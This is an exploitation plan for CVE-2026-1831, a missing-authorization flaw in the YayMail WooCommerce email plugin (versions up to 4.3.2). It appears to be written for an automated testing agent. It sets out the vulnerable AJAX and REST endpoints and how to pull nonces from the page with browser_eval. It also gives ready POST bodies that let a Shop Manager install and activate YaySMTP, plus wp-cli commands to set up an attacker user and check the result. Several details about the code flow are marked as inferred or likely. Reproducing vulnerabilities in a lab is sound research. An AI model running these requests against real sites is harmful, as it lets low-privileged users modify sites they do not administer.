Exploitation Research Plan: CVE-2026-1831 - YayMail Missing Authorization

1. Vulnerability Summary

The YayMail – WooCommerce Email Customizer plugin (versions <= 4.3.2) fails to implement sufficient authorization checks on two specific entry points:

1. AJAX Action: yaymail_install_yaysmtp
2. REST API Endpoint: /yaymail/v1/addons/activate

The vulnerability allows authenticated users with Shop Manager level permissions (or any role possessing the manage_woocommerce or similar mid-level capabilities) to install and activate the YaySMTP plugin. In a standard WordPress environment, plugin installation and activation are restricted to users with the install_plugins and activate_plugins capabilities (typically only Administrators).

2. Attack Vector Analysis

• Endpoints:
  • POST /wp-admin/admin-ajax.php?action=yaymail_install_yaysmtp
  • POST /wp-json/yaymail/v1/addons/activate
• Required Role: Shop Manager (Authenticated).
• Payload Parameters:
  • For AJAX: action=yaymail_install_yaysmtp (and likely a nonce).
  • For REST: The endpoint /yaymail/v1/addons/activate likely expects a JSON body or query parameter identifying the addon (e.g., {"slug": "yaysmtp"}).
• Preconditions: The YaySMTP plugin must not already be active (or must be available for installation in the WP repo).

3. Code Flow (Inferred from Patch/Description)

1. AJAX Entry Point: The plugin registers the action wp_ajax_yaymail_install_yaysmtp.
2. Missing Check: The callback function for this action likely lacks a current_user_can( 'install_plugins' ) check. It may only check is_user_logged_in() or a lower-level capability like manage_woocommerce.
3. REST Entry Point: The route /yaymail/v1/addons/activate is registered via register_rest_route.
4. Permission Callback: The permission_callback for this route likely returns true for any user with Shop Manager access, or fails to verify the specific capability required for plugin manipulation.
5. Sink: The backend logic uses WordPress core functions like plugins_api(), WP_Upgrader, or activate_plugin() to fetch and enable the YaySMTP plugin.

4. Nonce Acquisition Strategy

The AJAX handler likely verifies a nonce. Based on the file assets/dist/yaymail/yaymail-main.tsx-523766ce.js, the plugin is a React-based application. It likely localizes its settings and nonces into a global JavaScript object.

Extraction Steps:

1. Create a Shop Manager user.
2. Login as the Shop Manager and navigate to the YayMail interface (usually under WooCommerce > Email Customizer or a top-level YayMail menu).
3. The plugin likely enqueues its settings via wp_localize_script. Common variable names for this plugin include yaymail_settings or yaymail_localize.
4. Use browser_eval to find the nonce:
   • browser_eval("window.yaymail_settings?.nonce")
   • browser_eval("window.yaymail_localize?.nonce")
   • browser_eval("window.yaymail_settings?.ajax_nonce")

5. Exploitation Strategy

Phase 1: AJAX Installation

1. Target URL: http://[target]/wp-admin/admin-ajax.php
2. Method: POST
3. Headers: Content-Type: application/x-www-form-urlencoded
4. Body:

   action=yaymail_install_yaysmtp&nonce=[EXTRACTED_NONCE]
   

Phase 2: REST Activation

If the installation succeeds but activation is a separate step:

1. Target URL: http://[target]/wp-json/yaymail/v1/addons/activate
2. Method: POST
3. Headers:
   • Content-Type: application/json
   • X-WP-Nonce: [REST_NONCE] (The REST nonce can be found via window.wpApiSettings.nonce or in the page source).
4. Body (Inferred):

   {
     "slug": "yaysmtp"
   }
   

6. Test Data Setup

1. Install YayMail: Ensure version 4.3.2 or lower is installed.
2. WooCommerce: Ensure WooCommerce is active (as YayMail is a WooCommerce customizer).
3. Attacker User:

   wp user create attacker attacker@example.com --role=shop_manager --user_pass=password
   

4. Verify Initial State:

   wp plugin is-installed yaysmtp || echo "Not installed"
   

7. Expected Results

• AJAX Request: Should return a 200 OK with a JSON body indicating success (e.g., {"success": true, "data": "..."}).
• REST Request: Should return a 200 OK or 201 Created indicating the plugin was activated.
• System State: The yaysmtp directory should now exist in wp-content/plugins/ and be marked as active in the database.

8. Verification Steps

After performing the HTTP requests:

1. Check Plugin Installation:

   wp plugin is-installed yaysmtp
   

2. Check Plugin Status:

   wp plugin status yaysmtp
   

3. Check if Active:

   wp plugin is-active yaysmtp
   

9. Alternative Approaches

• Generic Addon Activation: If yaysmtp is not the only addon, check if the REST endpoint /yaymail/v1/addons/activate accepts other slugs.
• Direct REST Exploration: If the AJAX action fails due to strict nonce checking, focus on the REST endpoint. REST endpoints often have weaker permission_callback implementations in plugins that bridge specialized roles like Shop Manager.
• Search for other nonces: If the yaymail_settings object is not found, search the HTML source for any string containing _nonce or nonce within <script> tags to identify the correct localization variable.